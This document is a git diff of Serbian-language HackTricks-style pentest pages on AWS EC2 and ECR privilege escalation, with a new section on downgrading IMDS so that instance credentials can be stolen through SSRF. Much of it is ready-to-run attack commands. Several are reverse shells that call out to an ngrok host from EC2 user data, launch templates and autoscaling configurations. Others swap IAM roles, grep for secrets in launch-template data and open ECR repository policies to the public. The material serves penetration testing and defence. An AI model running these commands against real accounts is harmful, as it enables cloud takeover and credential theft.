-```bash -# Removing role from instance profile -aws iam remove-role-from-instance-profile --instance-profile-name --role-name - -# Add role to instance profile -aws iam add-role-to-instance-profile --instance-profile-name --role-name -``` -Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. On može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije diskutovano), i **povezati profil instance** koji je kompromitovan sa kompromitovanom i**nstancom:** - -- Ako instanca **nema nijedan profil** instance (`ec2:AssociateIamInstanceProfile`) -```bash -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila). - -### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) - -Sa ovim dozvolama moguće je promeniti instance profil povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade kredencijale za više uloga instance profila menjajući onaj koji je povezan sa njom. - -- Ako **ima instance profil**, možete **ukloniti** instance profil (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga -```bash -aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da -aws ec2 disassociate-iam-instance-profile --association-id -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -- ili **zameni** **profil instance** kompromitovane instance (`ec2:ReplaceIamInstanceProfileAssociation`). -```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id -``` -**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila). - -### `ec2:RequestSpotInstances`,`iam:PassRole` - -Napadač sa dozvolama **`ec2:RequestSpotInstances` i `iam:PassRole`** može **zatražiti** **Spot Instancu** sa **priključenom EC2 ulogom** i **rev shell** u **korisničkim podacima**.\ -Kada se instanca pokrene, može **ukrasti IAM ulogu**. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 request-spot-instances \ ---instance-count 1 \ ---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" -``` -### `ec2:ModifyInstanceAttribute` - -Napadač sa **`ec2:ModifyInstanceAttribute`** može da menja atribute instanci. Među njima, može da **promeni korisničke podatke**, što podrazumeva da može da natera instancu da **izvrši proizvoljne podatke.** To se može iskoristiti za dobijanje **rev shell-a na EC2 instanci**. - -Napomena: Atributi se mogu **menjati samo dok je instanca zaustavljena**, tako da su potrebne **dozvole** **`ec2:StopInstances`** i **`ec2:StartInstances`**. -```bash -TEXT='Content-Type: multipart/mixed; boundary="//" -MIME-Version: 1.0 - ---// -Content-Type: text/cloud-config; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="cloud-config.txt" - -#cloud-config -cloud_final_modules: -- [scripts-user, always] - ---// -Content-Type: text/x-shellscript; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="userdata.txt" - -#!/bin/bash -bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 ---//' -TEXT_PATH="/tmp/text.b64.txt" - -printf $TEXT | base64 > "$TEXT_PATH" - -aws ec2 stop-instances --instance-ids $INSTANCE_ID - -aws ec2 modify-instance-attribute \ ---instance-id="$INSTANCE_ID" \ ---attribute userData \ ---value file://$TEXT_PATH - -aws ec2 start-instances --instance-ids $INSTANCE_ID -``` -**Potencijalni uticaj:** Direktno privesc na bilo koju EC2 IAM ulogu povezanu sa kreiranom instancom. - -### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` - -Napadač sa dozvolama **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** može da kreira **novu verziju Launch Template-a** sa **rev shell-om u** **korisničkim podacima** i **bilo kojom EC2 IAM ulogom na njemu**, promeni podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Template** koji je **konfiguran** da koristi **najnoviju** ili **podrazumevanu verziju** će **ponovo pokrenuti instance** koristeći taj template i izvršiće rev shell. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 create-launch-template-version \ ---launch-template-name bad_template \ ---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" - -aws ec2 modify-launch-template \ ---launch-template-name bad_template \ ---default-version 2 -``` -**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu. - -### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` - -Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može **napraviti Launch Configuration** sa **IAM ulogom** i **rev shell** unutar **korisničkih podataka**, zatim **napraviti autoscaling grupu** iz te konfiguracije i čekati da rev shell **ukrade IAM ulogu**. -```bash -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ ---launch-configuration-name bad_config \ ---image-id ami-0c1bc246476a5572b \ ---instance-type t3.micro \ ---iam-instance-profile EC2-CloudWatch-Agent-Role \ ---user-data "$REV" - -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ---auto-scaling-group-name bad_auto \ ---min-size 1 --max-size 1 \ ---launch-configuration-name bad_config \ ---desired-capacity 1 \ ---vpc-zone-identifier "subnet-e282f9b8" -``` -**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu. - -### `!autoscaling` - -Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM ulogu jer je za pridruživanje uloge navedene u Launch Configuration ili u Launch Template **potrebno dozvola `iam:PassRole` i `ec2:RunInstances`** (što je poznata privesc). - -### `ec2-instance-connect:SendSSHPublicKey` - -Napadač sa dozvolom **`ec2-instance-connect:SendSSHPublicKey`** može dodati ssh ključ korisniku i koristiti ga za pristup (ako ima ssh pristup instanci) ili za eskalaciju privilegija. -```bash -aws ec2-instance-connect send-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---instance-os-user "ec2-user" \ ---ssh-public-key "file://$PUBK_PATH" -``` -**Potencijalni uticaj:** Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama. - -### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` - -Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh ključ na serijsku vezu**. Ako serijska veza nije omogućena, napadač treba dozvolu **`ec2:EnableSerialConsoleAccess` da je omogući**. - -Da biste se povezali na serijski port, takođe **morate znati korisničko ime i lozinku korisnika** unutar mašine. -```bash -aws ec2 enable-serial-console-access - -aws ec2-instance-connect send-serial-console-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---serial-port 0 \ ---region "eu-west-1" \ ---ssh-public-key "file://$PUBK_PATH" - -ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws -``` -Ovaj način nije previše koristan za privesc jer je potrebno znati korisničko ime i lozinku da bi se iskoristio. - -**Potencijalni uticaj:** (Veoma neproveren) Direktan privesc na EC2 IAM uloge povezane sa aktivnim instancama. - -### `describe-launch-templates`,`describe-launch-template-versions` - -Pošto launch templates imaju verzionisanje, napadač sa **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** dozvolama mogao bi da iskoristi ovo da otkrije osetljive informacije, kao što su akreditivi prisutni u korisničkim podacima. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates: -```bash -for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') -do -echo "[*] Analyzing $i" -aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata -do -echo "VersionNumber: $version" -echo "$userdata" | base64 -d -echo -done | grep -iE "aws_|password|token|api" -done -``` -U gornjim komandama, iako specificiramo određene obrasce (`aws_|password|token|api`), možete koristiti drugačiji regex za pretragu drugih tipova osetljivih informacija. - -Pretpostavljajući da pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti te akreditive za autentifikaciju na AWS. - -**Potencijalni uticaj:** Direktno eskaliranje privilegija na IAM korisnika(e). - -## Reference - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md new file mode 100644 index 000000000..2f83efd8a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -0,0 +1,300 @@ +# AWS - EC2 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Za više **informacija o EC2** pogledajte: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Napadač može **kreirati instancu, prikačiti IAM role i potom pristupiti instanci** kako bi ukrao IAM role credentials sa metadata endpoint. + +- **Pristup preko SSH** + +Pokrenite novu instancu koristeći **već kreiran** **SSH ključ** (`--key-name`) i zatim se povežite putem SSH-a na nju (ako želite da kreirate novi ključ, možda vam je potrebna dozvola `ec2:CreateKeyPair`). +```bash +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= --key-name \ +--security-group-ids +``` +- **Pristup preko rev shell u user data** + +Možete pokrenuti novu instancu koristeći **user data** (`--user-data`) koja će vam poslati **rev shell**. Na ovaj način ne morate navoditi security group. +```bash +echo '#!/bin/bash +curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh + +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= \ +--count 1 \ +--user-data "file:///tmp/rev.sh" +``` +Budite oprezni sa GuradDuty ako koristite kredencijale IAM role izvan instance: + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +{{#endref}} + +**Potential Impact:** Direktan privesc na bilo koju EC2 role koja je vezana za postojeće instance profiles. + +#### Privesc na ECS + +Sa ovim skupom dozvola možete takođe **kreirati EC2 instance i registrovati je unutar ECS cluster**. Na ovaj način, ECS **services** će se **pokretati** unutar **EC2 instance** kojoj imate pristup, i tada možete prodrijeti u te servise (docker containers) i **ukrasti njihove prikačene ECS role**. +```bash +aws ec2 run-instances \ +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" + +# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) +# The EC2 instance profile needs basic ECS access +# The content of the user data is: +#!/bin/bash +echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; +``` +Da biste saznali kako **force ECS services to be run** u ovoj novoj EC2 instanci, pogledajte: + +{{#ref}} +../aws-ecs-privesc/README.md +{{#endref}} + +Ako ne možete da **kreirate novu instancu**, ali imate dozvolu `ecs:RegisterContainerInstance`, možda ćete moći da registrujete instancu unutar klastera i izvedete pomenuti attack. + +**Potencijalni uticaj:** Direct privesc to ECS roles attached to tasks. + +### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** + +Slično prethodnom scenariju, attacker sa ovim dozvolama može **change the IAM role of a compromised instance** kako bi mogao da ukrade nove kredencijale.\ +Pošto instance profile može imati samo 1 role, ako instance profile **already has a role** (uobičajen slučaj), takođe će vam biti potrebna **`iam:RemoveRoleFromInstanceProfile`**. +```bash +# Removing role from instance profile +aws iam remove-role-from-instance-profile --instance-profile-name --role-name + +# Add role to instance profile +aws iam add-role-to-instance-profile --instance-profile-name --role-name +``` +Ako **instance profile ima role** i napadač **ne može da je ukloni**, postoji drugo zaobilazno rešenje. On bi mogao da **pronađe** **instance profile bez role** ili da **kreira novi** (`iam:CreateInstanceProfile`), **doda** **role** tom **instance profile** (kao što je ranije objašnjeno), i **asocira instance profile** kompromitovanom i**nstanci:** + +- Ako instanca **nema nijedan instance** profile (`ec2:AssociateIamInstanceProfile`) +```bash +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +**Potential Impact:** Direktan privesc na drugi EC2 role (potrebno je да imate kompromitovanu AWS EC2 instancu i neko dodatno ovlašćenje ili specifičan instance profile status). + +### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) + +Sa ovim permisijama je moguće promeniti instance profile povezan sa instancom, pa ako napadač već ima pristup instanci, moći će da ukrade credentials za više instance profile role menjajući onu koja je povezana. + +- Ako instanca **ima instance profile**, možete **ukloniti** instance profile (`ec2:DisassociateIamInstanceProfile`) i **povezati** novi instance profile +```bash +aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da +aws ec2 disassociate-iam-instance-profile --association-id +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +- ili **zameniti** **instance profile** kompromitovane instance (`ec2:ReplaceIamInstanceProfileAssociation`). +```bash +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +``` +**Potential Impact:** Direktan privesc na drugu EC2 rolu (potrebno je da kompromitujete AWS EC2 instancu i imate neku dodatnu dozvolu ili specifičan instance profile status). + +### `ec2:RequestSpotInstances`,`iam:PassRole` + +Napadač sa dozvolama **`ec2:RequestSpotInstances`and`iam:PassRole`** može **zatražiti** **Spot Instance** sa **prikačenom EC2 rolom** i **rev shell** u **user data**.\ +Kada se instance pokrene, može **ukrasti IAM role**. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 request-spot-instances \ +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +``` +### `ec2:ModifyInstanceAttribute` + +Napadač koji ima **`ec2:ModifyInstanceAttribute`** može menjati atribute instance. Između ostalog, može **promeniti user data**, što znači da može naterati instancu da pokrene proizvoljan kod. To se može iskoristiti da se dobije **rev shell na EC2 instance**. + +Imajte na umu da se atributi mogu **izmeniti samo dok je instanca zaustavljena**, pa su potrebne **permissions** **`ec2:StopInstances`** i **`ec2:StartInstances`**. +```bash +TEXT='Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" + +#!/bin/bash +bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 +--//' +TEXT_PATH="/tmp/text.b64.txt" + +printf $TEXT | base64 > "$TEXT_PATH" + +aws ec2 stop-instances --instance-ids $INSTANCE_ID + +aws ec2 modify-instance-attribute \ +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH + +aws ec2 start-instances --instance-ids $INSTANCE_ID +``` +**Potencijalni uticaj:** Direktan privesc na bilo koju EC2 IAM Role prikačenu na kreiranu instancu. + +### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` + +Napadač koji ima dozvole **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** može da kreira **novu Launch Template verziju** sa **rev shell u** **user data** i sa **bilo kojom EC2 IAM Role na njoj**, promeni podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Templat**e koji je **konfigurisano** da koristi **najnoviju** ili **podrazumevanu verziju** će **ponovo pokrenuti instance** koristeći taj template i izvršiće rev shell. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 create-launch-template-version \ +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" + +aws ec2 modify-launch-template \ +--launch-template-name bad_template \ +--default-version 2 +``` +**Potencijalni uticaj:** Direktno privesc na drugu EC2 rolu. + +### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) + +Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može da **create a Launch Configuration** sa **IAM Role** i **rev shell** unutar **user data**, zatim **create an autoscaling group** iz te konfiguracije i sačekati da rev shell **steal the IAM Role**. +```bash +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" + +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" +``` +**Potencijalni uticaj:** Direktan privesc na drugu EC2 ulogu. + +### `!autoscaling` + +Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privilegije na IAM ulogu, jer da biste pridružili ulogu navedenu u Launch Configuration ili u Launch Template, potrebne su dozvole `iam:PassRole` i `ec2:RunInstances` (što je poznat privesc). + +### `ec2-instance-connect:SendSSHPublicKey` + +Napadač sa dozvolom **`ec2-instance-connect:SendSSHPublicKey`** može dodati SSH ključ korisniku i iskoristiti ga za pristup (ako ima SSH pristup instanci) ili za privesc. +```bash +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" +``` +**Potential Impact:** Direktan privesc na EC2 IAM role pridružene pokrenutim instancama. + +### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + +Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh key na serial connection**. Ako serial nije omogućen, napadaču je potrebna dozvola **`ec2:EnableSerialConsoleAccess`** da bi ga omogućio. + +Da biste se povezali na serial port, takođe **morate znati korisničko ime i lozinku naloga** unutar mašine. +```bash +aws ec2 enable-serial-console-access + +aws ec2-instance-connect send-serial-console-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" + +ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws +``` +Ovaj način nije toliko koristan za privesc jer morate znati korisničko ime i lozinku da biste ga iskoristili. + +**Mogući uticaj:** (Teško dokazivo) Direktan privesc do EC2 IAM roles pridruženih pokrenutim instancama. + +### `describe-launch-templates`,`describe-launch-template-versions` + +Pošto launch templates imaju verzionisanje, napadač sa **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** dozvolama može iskoristiti ovo da otkrije osetljive informacije, kao što su kredencijali prisutni u user data. Da bi se to postiglo, sledeći skript prolazi kroz sve verzije dostupnih launch templates: +```bash +for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') +do +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" +done +``` +U gore navedenim komandama, iako specificiramo određene obrasce (`aws_|password|token|api`), možete koristiti drugi regex da biste pretražili druge vrste osetljivih informacija. + +Ukoliko pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti ove kredencijale za autentifikaciju na AWS. + +**Mogući uticaj:** Direktna eskalacija privilegija na IAM korisnika/korisnike. + +## Reference + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `ec2:ModifyInstanceMetadataOptions` (degradacija IMDS-a radi omogućavanja SSRF krađe kredencijala) + +Napadač koji ima mogućnost da pozove `ec2:ModifyInstanceMetadataOptions` na ciljanoj EC2 instanci može oslabiti IMDS zaštitu omogućavanjem IMDSv1 (`HttpTokens=optional`) i povećanjem `HttpPutResponseHopLimit`. To čini endpoint instance metadata dostupnim preko uobičajenih SSRF/proxy puteva iz aplikacija koje rade na instanci. Ako napadač može pokrenuti SSRF u takvoj aplikaciji, može dohvatiti kredencijale instance profila i pivotirati koristeći ih. + +- Potrebne dozvole: `ec2:ModifyInstanceMetadataOptions` na ciljanoj instanci (plus mogućnost da dosegne/pokrene SSRF na hostu). +- Ciljani resurs: Pokrenuta EC2 instanca sa prikačenim instance profile-om (IAM role). + +Primer komandi: +```bash +# 1) Check current metadata settings +aws ec2 describe-instances --instance-id \ +--query 'Reservations[0].Instances[0].MetadataOptions' + +# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-endpoint enabled --http-tokens optional \ +--http-put-response-hop-limit 3 --instance-metadata-tags enabled + +# 3) Through the SSRF, enumerate role name +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 4) Through the SSRF, steal the temporary credentials +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 5) Use the stolen credentials +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity + +# 6) Restore protections (require IMDSv2, low hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-tokens required --http-put-response-hop-limit 1 +``` +Potencijalni uticaj: Krađa instance profile credentials putem SSRF, što dovodi do privilege escalation i lateral movement koristeći EC2 role permissions. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md deleted file mode 100644 index 9b39b3d28..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ /dev/null @@ -1,100 +0,0 @@ -# AWS - ECR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` - -Napadač sa **`ecr:GetAuthorizationToken`** i **`ecr:BatchGetImage`** može da se prijavi na ECR i preuzme slike. - -Za više informacija o tome kako preuzeti slike: - -{{#ref}} -../aws-post-exploitation/aws-ecr-post-exploitation.md -{{#endref}} - -**Potencijalni uticaj:** Indirektno eskaliranje privilegija presretanjem osetljivih informacija u saobraćaju. - -### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` - -Napadač sa svim tim dozvolama **može da se prijavi na ECR i otpremi slike**. Ovo može biti korisno za eskalaciju privilegija u druge okruženja gde se te slike koriste. - -Da biste saznali kako da otpremite novu sliku/izmenite jednu, proverite: - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` - -Kao u prethodnom odeljku, ali za javne repozitorijume. - -### `ecr:SetRepositoryPolicy` - -Napadač sa ovom dozvolom može **promeniti** **politiku** **repozitorijuma** kako bi sebi (ili čak svima) dodelio **pristup za čitanje/pisanje**.\ -Na primer, u ovom primeru pristup za čitanje je dodeljen svima. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -Sadržaj `my-policy.json`: -```json -{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "allow public pull", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -### `ecr-public:SetRepositoryPolicy` - -Kao u prethodnom odeljku, ali za javne repozitorijume.\ -Napadač može **izmeniti politiku repozitorijuma** javnog ECR repozitorijuma kako bi omogućio neovlašćen javni pristup ili da eskalira svoje privilegije. -```bash -bashCopy code# Create a JSON file with the malicious public repository policy -echo '{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "MaliciousPublicRepoPolicy", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr-public:GetDownloadUrlForLayer", -"ecr-public:BatchGetImage", -"ecr-public:BatchCheckLayerAvailability", -"ecr-public:PutImage", -"ecr-public:InitiateLayerUpload", -"ecr-public:UploadLayerPart", -"ecr-public:CompleteLayerUpload", -"ecr-public:DeleteRepositoryPolicy" -] -} -] -}' > malicious_public_repo_policy.json - -# Apply the malicious public repository policy to the ECR Public repository -aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json -``` -**Potencijalni uticaj**: Neovlašćen javni pristup ECR javnom repozitorijumu, što omogućava bilo kojem korisniku da postavlja, preuzima ili briše slike. - -### `ecr:PutRegistryPolicy` - -Napadač sa ovom dozvolom mogao bi **promeniti** **politiku registra** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje/pisanje**. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md new file mode 100644 index 000000000..18779299f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -0,0 +1,268 @@ +# AWS - ECR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` + +Нападач који има **`ecr:GetAuthorizationToken`** и **`ecr:BatchGetImage`** може да login to ECR and download images. + +For more info on how to download images: + +{{#ref}} +../../aws-post-exploitation/aws-ecr-post-exploitation/README.md +{{#endref}} + +**Potential Impact:** Индиректан privesc пресретањем осетљивих информација у саобраћају. + +### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` + +Нападач са свим тим дозволама **can login to ECR and upload images**. Ово може бити корисно за escalate privileges на друга окружења где се ти images користе. + +To learn how to upload a new image/update one, check: + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` + +Као у претходном одељку, али за public repositories. + +### `ecr:SetRepositoryPolicy` + +Нападач са овом дозволом може **change** **repository** **policy** да би себи (или чак свима) дао **read/write access**.\ +На пример, у овом примеру read access је дат свима. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +Sadržaj `my-policy.json`: +```json +{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +### `ecr-public:SetRepositoryPolicy` + +Poput prethodnog odeljka, ali za javne repozitorijume.\ +Napadač može **izmeniti politiku repozitorijuma** u ECR Public repozitorijumu kako bi dodelio neovlašćen javni pristup ili eskalirao svoje privilegije. +```bash +# Create a JSON file with the malicious public repository policy +echo '{ +"Version": "2008-10-17", +"Statement": [ +{ 